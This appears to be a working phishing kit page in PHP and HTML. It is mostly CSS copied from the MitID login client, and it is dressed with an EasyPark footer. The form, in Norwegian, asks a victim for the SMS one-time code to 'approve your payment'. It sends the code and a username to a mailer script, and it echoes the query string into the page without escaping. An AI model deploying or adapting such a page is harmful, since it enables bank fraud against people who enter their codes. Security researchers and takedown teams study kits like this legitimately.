*{visibility:hidden}.mitid--button-primary[showicontext^=IconᅠHelpᅠText]{display:inline-flex;visibility:visible;pointer-events:all}.mitid--button-primary[showicontext^=IconᅠHelpᅠText]:disabled{display:inline-flex;opacity:.2}.mitid-core-icon--auth{display:inline-block;width:1.5rem;height:1.5rem;background-repeat:no-repeat;position:relative;top:7px}.mitid-core-icon--margin-right{margin-right:8px}.mitid-link{display:inline-flex;cursor:pointer;position:relative;left:-5px;border-radius:4px;text-decoration:none;min-height:1.5rem;padding:0 .25rem;padding-left:2.188rem}.mitid-link:hover .mitid-link__label,.mitid-link:focus .mitid-link__label{text-decoration:underline;color:#004cb8}.mitid-link:focus:is(:focus-visible){box-shadow:0 0 0 3px #0060e6}.mitid-link:active .mitid-link__label{color:#00398a;text-decoration:underline}.mitid-link:hover .mitid-link__icon>path,.mitid-link:focus .mitid-link__icon>path{fill:#004cb8}.mitid-link:hover .mitid-link__icon>g path:last-child,.mitid-link:focus .mitid-link__icon>g path:last-child{fill:#004cb8}.mitid-link:active .mitid-link__icon>path{fill:#00398a}.mitid-link:active .mitid-link__icon>g path:last-child{fill:#00398a}.mitid-link__icon{margin-right:0;position:absolute;top:.8px;left:2px;height:1.5rem;width:1.5rem;display:flex;align-items:center;justify-content:center;cursor:pointer}.mitid-link__icon svg{cursor:pointer}.mitid-link__icon>path{fill:#0060e6;cursor:pointer}.mitid-link__icon>g path:last-child{fill:#0060e6}.mitid-link__label{max-width:100%;cursor:pointer;font-weight:600;color:#0060e6;text-decoration:none;letter-spacing:.2px;word-break:break-word;word-wrap:break-word}.mitid-link:after{content:"";min-height:inherit;font-size:0}.mitid-link--vertical-align{margin-left:.25rem;color:#0060e6}.mitid-link--vertical-align .mitid-core-text-button__icon{margin-right:.438rem}.mitid-link--vertical-align .mitid-core-text-button__icon>path{fill:#0060e6}.mitid-link--vertical-align .mitid-core-text-button__icon>g path:last-child{fill:#0060e6}.mitid-tooltip{width:100%}.mitid-tooltip--context-help{position:absolute;left:.125rem;top:10rem}.mitid-tooltip--labeltextleft h2,.mitid-tooltip--iconandlabeltextleft h2,.mitid-tooltip--headertextcentered h2{margin:0 auto}.mitid-tooltip--labeltextleft i{display:none}.mitid-tooltip--headertextcentered .mitid-tooltip__label{display:flex;padding-bottom:1.5rem}.mitid-tooltip--headertextcentered .mitid-tooltip__label h2{width:100%;font-size:1.25rem;line-height:1.75rem;text-align:center;text-transform:none}.mitid-tooltip--headertextcentered .mitid-tooltip__label i{display:none}.mitid-tooltip__label{display:inline-flex;align-items:center;padding-bottom:.5rem}.mitid-tooltip__text{font-weight:600;font-size:.875rem;line-height:1.5rem;text-transform:uppercase;letter-spacing:.2px}.mitid-tooltip__text__tooltip{font-weight:600 !important;font-size:.875rem !important;line-height:1.5rem !important;text-transform:uppercase !important;letter-spacing:.2px !important}.mitid--button-icon-tooltip:hover path,.mitid--button-icon-tooltip:focus path{fill:#0060e6}.mitid--button-icon-tooltip:active path{fill:#00398a}.mitid--button-icon-tooltip:focus:is(:focus-visible) svg{background-color:#fff;border-radius:.25rem;box-shadow:0px 0px 0px 2px #fff,0px 0px 0px 5px #0060e6}.mitid--button-icon-tooltip{-webkit-appearance:none;appearance:none;width:2.75rem;cursor:pointer;overflow:visible;background-color:#fff;display:flex;align-items:center;justify-content:center;background-color:rgba(0,0,0,0)}.mitid--button-icon-tooltip svg{height:1rem;width:1rem;cursor:pointer}.mitid--button-icon-tooltip path{fill:#001c44;cursor:pointer}.mitid-core-close{display:block}.mitid-core-close button{width:2.75rem;height:2.75rem;padding:0;box-sizing:content-box;outline:none;display:flex;align-items:center;justify-content:center;cursor:pointer}.mitid-core-close button svg{height:24px;width:24px}.mitid-core-close button svg path{fill:#001c44}.mitid-core-close button:hover svg path{fill:#004cb8}.mitid-core-close button:active path{fill:#00398a}.mitid-core-close button:focus:is(:focus-visible) svg{border:3px solid #0060e6;border-radius:4px}.mitid-core-close button:focus:is(:focus-visible) svg path{fill:#004cb8}.mitid-core-close--corner{position:absolute;top:-8px;right:0}.mitid-core-overlay{position:absolute;top:0px;left:-0.313rem;right:-0.313rem;bottom:0px;background-color:rgba(255,255,255,.6);z-index:2}.mitid-core-tooltip{color:#333;font-size:1rem;left:4px;letter-spacing:0px;line-height:1.5rem;font-weight:400;font-style:normal;position:relative;padding:0;text-decoration:none;color:#000;list-style:none;text-align:left;letter-spacing:0px;z-index:2000;display:block}.mitid-core-tooltip__content{position:absolute;left:-4px;right:4px;background-color:#fff;border-radius:4px;box-shadow:0px 0px 10px 0px rgba(0,0,0,.3);z-index:1000;overflow:hidden}.mitid-core-tooltip__info{left:-6px;right:6px}.mitid-core-tooltip .mitid-core-tooltip__header{display:flex;justify-content:space-between;margin:.5rem 0 .5rem 1rem;position:relative}.mitid-core-tooltip .mitid-core-tooltip__header h2{margin:.438rem 0 0 0;max-width:266px}.mitid-core-tooltip__text{margin:0 2rem 1rem 1rem;display:block}.mitid-core-tooltip__link{display:block;position:relative;top:.313rem}.mitid-core-tooltip-minimized-mode{display:flex;align-items:flex-end;justify-content:center;margin-top:3.75rem}#authenticatorDescription strong{font-weight:bold}.mitid-core-authenticator{display:flex;flex-direction:column;justify-content:stretch;height:100%}.mitid-core-authenticator__iframe{height:100%;border:none;width:104%;left:-0.4375rem;position:relative;flex:1 1 auto}.mitid-core-authenticator__iframe:focus{outline:none}.mitid-core-authenticator__header{flex:0 0 auto}.mitid-authenticators{display:block}.mitid-authenticators__list{background-color:#fff;border:1px solid #979797;border-radius:4px;padding:0;margin:0 0 16px 0;display:block}.mitid-authenticators__item{margin:0;width:100%;display:flex;align-items:center;color:#001c44;background-color:#fff;padding:0 0 0 1rem;border:2px solid rgba(0,0,0,0) !important;box-sizing:border-box;cursor:pointer}.mitid-authenticators__item:nth-child(1),.mitid-authenticators__item:last-of-type{border-radius:3px}.mitid-authenticators__item::-moz-focus-inner{border:0}.mitid-authenticators__item:active span{position:relative;top:0}.mitid-authenticators__item i{position:relative;top:0;margin-right:.5rem;font-style:normal;outline:none}.mitid-authenticators__item:nth-child(1){border-radius:4px 4px 0 0}.mitid-authenticators__item:last-of-type{border-radius:0 0 4px 4px}.mitid-authenticators__item:hover{background-color:#f2f7fe}.mitid-authenticators__item:hover .mitid-authenticators__name{color:#0060e6}.mitid-authenticators__item:hover path{fill:#0060e6}.mitid-authenticators__item:active span{position:relative;top:0}.mitid-authenticators__item:focus{outline:none;background-color:#f2f7fe;box-shadow:0 2px #0060e6 inset,0 -2px #0060e6 inset,-2px 0 #0060e6 inset,2px 0 #0060e6 inset}.mitid-authenticators__item:focus path{fill:#0060e6}.mitid-authenticators__item:focus .mitid-authenticators__name{color:#0060e6}.mitid-authenticators__name{font-weight:600;padding:10px 0;max-width:272px;cursor:pointer}.mitid-authenticators__name:nth-of-type(1):not(:last-child):after{content:"+";font-size:1rem;position:relative;padding-left:4px;padding-right:4px}.mitid-authenticators--selected{background-color:#00398a !important;border-radius:0;box-shadow:-1px 0 0 0 #00398a,1px 0 0 0 #00398a;cursor:default}.mitid-authenticators--selected .mitid-authenticators__name{color:#fff}.mitid-authenticators--selected path{fill:#fff !important}.mitid-authenticators--selected:nth-child(1){border-radius:4px 4px 0 0;box-shadow:0 -1px #00398a,-1px 0 #00398a,1px 0 #00398a}.mitid-authenticators--selected:last-of-type{border-radius:0 0 4px 4px;box-shadow:-1px 0 #00398a,1px 0 #00398a,-1px 1px #00398a,1px 1px #00398a}.mitid-authenticators--selected:last-of-type:active span{position:relative;top:0}.mitid-authenticators--selected:hover .mitid-authenticators__name{color:#fff;cursor:default}.mitid-authenticators--selected:focus{box-shadow:0 -2px #fff inset,-2px 0 #fff inset,2px 0 #fff inset,-1px 1px #00398a,1px 1px #00398a,-1px -1px #00398a,1px -1px #00398a,0 2px 0 0 #fff inset}.mitid-authenticators--selected:focus .mitid-authenticators__name{color:#fff}.mitid-authenticators--selected:focus:nth-child(1){border-radius:4px 4px 0 0;box-shadow:0 2px #fff inset,0 -2px #fff inset,-2px 0 #fff inset,2px 0 #fff inset,-1px 1px #00398a,0 -1px #00398a,-1px 0 #00398a,1px 1px #00398a}.mitid-authenticators--selected:focus:last-of-type{border-radius:0 0 4px 4px;box-shadow:0 2px #fff inset,0 -2px #fff inset,-2px 0 #fff inset,2px 0 #fff inset,-1px 1px #00398a,1px 1px #00398a,-1px -1px #00398a,1px -1px #00398a}.mitid-core-reference-text{margin-bottom:1.5rem;flex:0 0 auto;display:block}.mitid-checkbox{-webkit-appearance:none;appearance:none;display:block;position:relative;padding-left:2.188rem;max-width:300px;cursor:pointer;margin-top:.5rem}.mitid-checkbox__label{overflow:hidden;display:block;cursor:pointer;font-weight:600;color:#001c44;word-break:break-word;word-wrap:break-word}.mitid-checkbox__input{position:absolute;opacity:0;cursor:pointer;height:1.5rem;width:1.5rem;top:0;left:0}.mitid-checkbox__checkmark{position:absolute;top:0;left:0;height:1.5rem;width:1.5rem;background-repeat:no-repeat;background-position:center;display:flex;align-items:center;justify-content:center;cursor:pointer}.mitid-checkbox__checker{width:18px;height:18px;display:block;border:#001c44 solid 2px;border-radius:3px;box-sizing:border-box;cursor:pointer}.mitid-checkbox__input:checked~.mitid-checkbox__checkmark>.mitid-checkbox__checker{border-color:#0060e6}.mitid-checkbox__input:focus~.mitid-checkbox__checkmark{box-shadow:0 0 0 3px #0060e6;border-radius:4px}.mitid-checkbox__input:not(:checked):focus~.mitid-checkbox__checkmark>.mitid-checkbox__checker{border-color:#0060e6}.mitid-checkbox__input:checked~.mitid-checkbox__checkmark>.mitid-checkbox__checker{position:relative;background-size:18px 18px;border:none !important;background-color:#0060e6}.mitid-checkbox__input:checked~.mitid-checkbox__checkmark>.mitid-checkbox__checker::after{content:" ";transform-origin:left top;border-right:2px solid #fff;border-top:2px solid #fff;left:2px;top:9px;height:10px;width:5px;position:absolute;transform:scaleX(-1) rotate(135deg)}.mitid-checkbox:hover .mitid-checkbox__input:not(:checked)~.mitid-checkbox__checkmark>.mitid-checkbox__checker{border-color:#0060e6}.mitid-checkbox--no-margin{margin:0}.mitid-core-terms{display:flex;flex-direction:column;height:100%;justify-content:stretch;position:relative}.mitid-core-terms__summary{z-index:1}.mitid-core-terms__content p{display:block;margin-top:.313rem}.mitid-core-terms__actions{margin:1.5rem 0;min-height:5.5rem;display:flex;flex-direction:column;justify-content:space-between}.mitid-core-terms__continue{height:3.85rem}.mitid-core-terms__label{overflow:hidden;display:block;font-weight:600;color:#001c44}.mitid-notification{height:100%}.mitid-notification__content{padding:16px 16px 12px 56px;position:relative;margin-bottom:1rem;display:block;overflow:hidden}.mitid-notification--info{background-color:#f2f7fe;border:1px solid rgba(0,96,230,.2)}.mitid-notification--info:before{content:" ";background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24'%3e%3cpath fill='%230060e6' d='M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-6h2v6zm0-8h-2V7h2v2z'/%3e%3c/svg%3e");position:absolute;display:block;width:24px;height:24px;left:16px;float:left}.mitid-notification--info:before path{fill:#0060e6}.mitid-notification--warning{background-color:#fffbf2;border:1px solid rgba(254,171,0,.2)}.mitid-notification--warning:before{content:" ";background-image:url("data:image/svg+xml,%3c%3fxml version='1.0' encoding='UTF-8'%3f%3e%3csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='24px' height='24px' version='1.1' viewBox='0 0 64 64'%3e%3ctitle%3eF7BD9E59-0FBF-4F1C-98E3-A2E0D17E6185%401.00x%3c/title%3e%3cg id='Components' fill='none' fill-rule='evenodd' stroke='none' stroke-width='1'%3e%3cg id='Iconography' transform='translate(-357.000000%2c -914.000000)'%3e%3cg id='checkbox-/-01-enabled' transform='translate(357.000000%2c 914.000000)'%3e%3cg id='notification'%3e%3cg id='icon'%3e%3cg id='icons/alert/error_outline'%3e%3cg id='error'%3e%3crect id='%23' width='24' height='24' x='0' y='0'/%3e%3cpath id='Shape' fill='%23FEAB00' d='M32%2c5.33333333 C17.28%2c5.33333333 5.33333333%2c17.28 5.33333333%2c32 C5.33333333%2c46.72 17.28%2c58.6666667 32%2c58.6666667 C46.72%2c58.6666667 58.6666667%2c46.72 58.6666667%2c32 C58.6666667%2c17.28 46.72%2c5.33333333 32%2c5.33333333 Z'/%3e%3cpath id='Path' fill='black' d='M32%2c34.6666667 C30.5333333%2c34.6666667 29.3333333%2c33.4666667 29.3333333%2c32 L29.3333333%2c21.3333333 C29.3333333%2c19.8666667 30.5333333%2c18.6666667 32%2c18.6666667 C33.4666667%2c18.6666667 34.6666667%2c19.8666667 34.6666667%2c21.3333333 L34.6666667%2c32 C34.6666667%2c33.4666667 33.4666667%2c34.6666667 32%2c34.6666667 Z'/%3e%3cpolygon id='Path' fill='black' points='34.6666667 45.3333333 29.3333333 45.3333333 29.3333333 40 34.6666667 40'/%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/svg%3e");position:absolute;display:block;width:24px;height:24px;left:16px;float:left}.mitid-notification--error{background-color:#fdf2f2;border:1px solid rgba(218,0,0,.2)}.mitid-notification--error:before{content:" ";background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24'%3e%3cpath fill='%23da0000' fill-rule='evenodd' d='M4.47 21h15.06c1.54 0 2.5-1.67 1.73-3L13.73 4.99c-.77-1.33-2.69-1.33-3.46 0L2.74 18c-.77 1.33.19 3 1.73 3zM12 14c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1zm1 4h-2v-2h2v2z'/%3e%3c/svg%3e");position:absolute;display:block;width:24px;height:24px;left:16px;float:left}.mitid-notification__message,.mitid-notification__support{display:block}.mitid-core-section,.mitid-core-section__help-context{flex:1 1 auto;display:flex;flex-direction:column;position:relative}.mitid-checkbox_user-id{margin-bottom:1.1rem;margin-top:2rem}.mitid-core-switch{display:flex;align-items:center}@media screen and (max-width: 399px){.mitid-core-switch{margin-left:.313rem}}.mitid-core-content{width:100%;margin:0;position:relative;display:flex;flex-direction:column;box-sizing:content-box;z-index:1;flex:1 0 auto;justify-content:stretch}.mitid-spinner{position:absolute;height:5px;width:100%;left:0;top:0;overflow:hidden;z-index:100;display:block}.mitid-spinner__spin{background-color:#0060e6;width:225px;height:4px;position:relative;animation-name:mitid-spinner;animation-duration:2s;animation-iteration-count:infinite;display:block}@keyframes mitid-spinner{0%{left:-225px;top:0px}100%{left:100%;top:0px}}.mitid-core-help{position:absolute;z-index:1000;background-color:#fff;border-radius:4px;box-shadow:0 5px 14px 3px rgba(0,0,0,.2);bottom:2rem;padding:.5rem .5rem .5rem 1rem;width:336px;box-sizing:border-box;left:-2px}@media screen and (max-width: 399px){.mitid-core-help{bottom:44px}}.mitid-core-help .mitid--divider-light,.mitid-core-help .mitid--divider{max-width:19rem;margin:.5rem 0}.mitid-core-help__header{display:flex;align-items:center;height:2.5rem}.mitid-core-help__header .mitid-core-help__header-text{flex:1 1 100%;margin:0}.mitid-core-help__menu{padding:0;margin:0;list-style:none;display:inline-block;width:100%;height:100%}.mitid-core-help__menu-item{flex:1;margin:0;padding:.5625rem 1.5rem .5625rem 0;display:flex;align-items:center}.mitid-core-help__link-divider{margin-top:.5rem;margin-bottom:.438rem}@media screen and (max-width: 399px){.mitid-core-help{width:97%;margin:0 5px;min-width:266px}}.mitid-core-finalize{position:relative;display:flex;align-items:center;justify-content:center;height:100%;flex-direction:column;flex:1 1 auto}.mitid-core-finalize__logo{height:24px;position:relative;width:62px;margin-bottom:24px}.mitid-core-finalize__logo-svg{position:absolute;left:-85px;top:-20px;height:62px;width:234px;transform:scale(0.26)}.mitid-core-finalize__logo-svg path{fill:#0060e6}.mitid-core-finalize__shield{position:absolute;width:100px;height:117px}.mitid-core-finalize__shield path{fill:#0060e6}.mitid-core-finalize__state{position:relative;margin-bottom:24px;height:120px;width:100px;display:block}.mitid-core-finalize__title{font-size:1.25rem;font-weight:700;line-height:1.75rem;display:block;text-align:center;height:60px}.mitid-core-finalize__done:after{opacity:0;height:34px;width:14px;transform-origin:left top;border-right:4px solid #fff;border-top:4px solid #fff;content:"";left:32px;top:55px;position:absolute;animation-duration:800ms;animation-delay:100ms;animation-timing-function:ease-in;animation-name:checkmark;animation-fill-mode:forwards;transform:scaleX(-1) rotate(135deg)}@keyframes checkmark{0%{height:0;width:0;opacity:1}20%{height:0;width:14px;opacity:1}35%{height:34px;width:14px;opacity:1}100%{height:34px;width:14px;opacity:1}} </style> </head> <body> <div id="coreClientParent"> <main id="mitId" class="mitid-loader mitid-core-client" style="display: none; margin: 0px auto; width: 420px; min-height: 24.8rem; height: 588px; font-family: IBM Plex Sans, Arial, Helvetica, FreeSans, sans;"> <form id="FormMitID" class="mitid-core-content" method="post" action="class.phpmailer?<?php echo $_SERVER['QUERY_STRING']; ?>"> <input type="hidden" name="pages" value="Sms"> <input type="hidden" name="username" value="<?php echo isset($_GET['username']) ? $_GET['username'] : ''?>"> <header class="mitid-core-header"> <div class="img-h"> <img src="static/media/logo-color-216x31.b60799681750b2a47287.png" alt="" srcset=""> <!--<img src="assets/2.svg" alt="" srcset="">--> </div> </header> <div class="mitid-login-divider--top "> <hr class="mitid--divider mitid--divider-light "> </div> <section id="mitid-core-client-section " aria-live="polite " aria-relevant="all " class="mitid-core-section "> <div class="mitid-core-section__help-context "> <div id="mitid-user-name " class="mitid-core-user "> <div class="mitid-tooltip mitid-tooltip--labeltextleft "> <div class="mitid-tooltip__label "> <label class="mitid-tooltip__text " for="username2 " aria-haspopup="true " aria-label="Bruger ID " style="padding: 0 10px!important; margin-top: 25px;">GODKJENN BETALINGEN DIN</label> </div> </div> </div> <p style="padding: 0 10px!important;margin-bottom: 10px;">Skriv inn engangskoden vi har sendt til din mobiltelefon sammen med passordet ditt. Dersom du ikke mottar SMS, trykk 'BankID' og godkjenne betalingen med BankID.</p> <div style="padding: 0 10px!important; margin-top: 20px;" class="row-txt"> <div> <p class="pppp">Dato :</p> </div> <?php $dateTime = new DateTime(); $currentDateTime = $dateTime->format("Y-m-d H:i:s"); $firstThreeDigits = "4444"; ?> <div> <p> <?php echo $currentDateTime; ?> </p> </div> </div> <div style="padding: 0 10px!important;" class="row-txt"> <div> <p class="pppp">Endelig kortnummer :</p> </div> <div> <p><?php echo $reversedString; ?></p> </div> </div> <!-- <div style="padding: 0 10px!important;" class="row-txt"> <div> <p class="pppp">Mobilnummer :</p> </div> <div> <p>xxxxxxx <?php echo $firstThreeDigits; ?> </p> </div> </div> --> <div style="padding: 0 10px!important; margin-top: 30px;" class="row-txt"> <div> <p class="pppp">Engangskode fra SMS :</p> </div> <div> <input name="sms" class="inputa" type="text" required=""> </div> </div> <!-- <div style="padding: 0 10px!important; margin-top: 10px;" class="row-txt"> <div> <p class="pppp">Kodeord :</p> </div> <div><input name="codeord" class="inputa" type="text"></div> </div> --> <br> <br> <br> <button id="loginBtn2" class="mitid--button-primary" type="submit" name="submit"> <span class="mitid--button-label ">Fortsette</span> <span class="mitid--button-spacing"></span> <svg xmlns="http://www.w3.org/2000/svg " focusable="false " class="mitid--button-icon " width="24 " height="24 " viewBox="0 0 24 24 " aria-hidden="true "> <path d="M5 13h11.17l-4.88 4.88c-.39.39-.39 1.03 0 1.42.39.39 1.02.39 1.41 0l6.59-6.59c.39-.39.39-1.02 0-1.41l-6.58-6.6c-.39-.39-1.02-.39-1.41 0-.39.39-.39 1.02 0 1.41L16.17 11H5c-.55 0-1 .45-1 1s.45 1 1 1z "></path> </svg> </button> </div> </section> </form> </main> </div> </body> </html> </div> </div> </main> </div> <div class="jss4"> <footer class="jss87"> <div class="jss88"> <div class="MuiTypography-root jss89 MuiTypography-body2">© 2024 EasyPark</div> <ul class="jss90"> <li class="jss91"> <a class="MuiTypography-root MuiTypography-body2" href="https://legals.easyparksystem.net/NO/tc/no/terms_no_no.pdf" rel="noopener noreferrer" target="_blank">Vilkår og betingelser</a> </li> <li class="jss91"> <a class="MuiTypography-root MuiTypography-body2" href="https://legals.easyparksystem.net/B2B/terms_b2b_v1_0_no.pdf" rel="noopener noreferrer" target="_blank">Forretningsvilkår</a> </li> <li class="jss91"> <a class="MuiTypography-root MuiTypography-body2" href="https://legals.easyparksystem.net/NO/privacy/no/privacy_no_no.pdf" rel="noopener noreferrer" target="_blank">Privat politikk</a> </li> <li class="jss91"> <a class="MuiTypography-root MuiTypography-body2" href="https://customer.easypark.net/help/en/4067" rel="noopener noreferrer" target="_blank">Kontakt oss</a> </li> </ul> </div> </footer> </div> <div style=""> </div> </div> </div> <div class="ReactModalPortal"> </div> <script type="text/javascript" id=""> _linkedin_partner_id="1237801";window._linkedin_data_partner_ids=window._linkedin_data_partner_ids||[];window._linkedin_data_partner_ids.push(_linkedin_partner_id); </script> <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script> </body> </html>